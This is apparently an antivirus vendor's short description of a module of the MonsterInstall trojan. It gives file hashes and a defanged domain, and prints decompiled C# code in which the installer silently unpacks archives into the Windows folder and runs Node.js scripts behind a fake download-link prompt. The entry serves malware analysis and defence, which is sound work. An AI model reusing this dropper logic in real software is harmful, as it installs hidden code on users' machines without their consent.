SHA1:
- d6d3f9f067e8bb2244e4a4529fa032d92d9f0425
- a4f81547d5e594b039241c36d443471857d3c10c
Description
A module of the MonsterInstall trojan. A software downloader that has a license agreement that can be found on the trojan developer’s domain:
https://corteli[.]com/file-checker/eula.php
Operating routine
Installs Trojan.MonsterInstall:
string text3 = Environment.GetEnvironmentVariable("windir") + "/NodeService/0";
Form1.LaunchCommandLineApp("data/7za.exe", "x data/silent.7z -o\"" + text3 + "\" -y");
Form1.LaunchCommandLineApp(text3 + "/node.exe", text3 + "/install.js");
Form1.LaunchCommandLineApp("data/7za.exe", "x data/worker-1.7z -o\"" + text + "\" -y");
if (MessageBox.Show("Получить ссылку?", "Сылка на скачивание готова!", 4) == 6)
{
Form1.LaunchCommandLineApp(text3 + "/node.exe", "data/work.js");
}
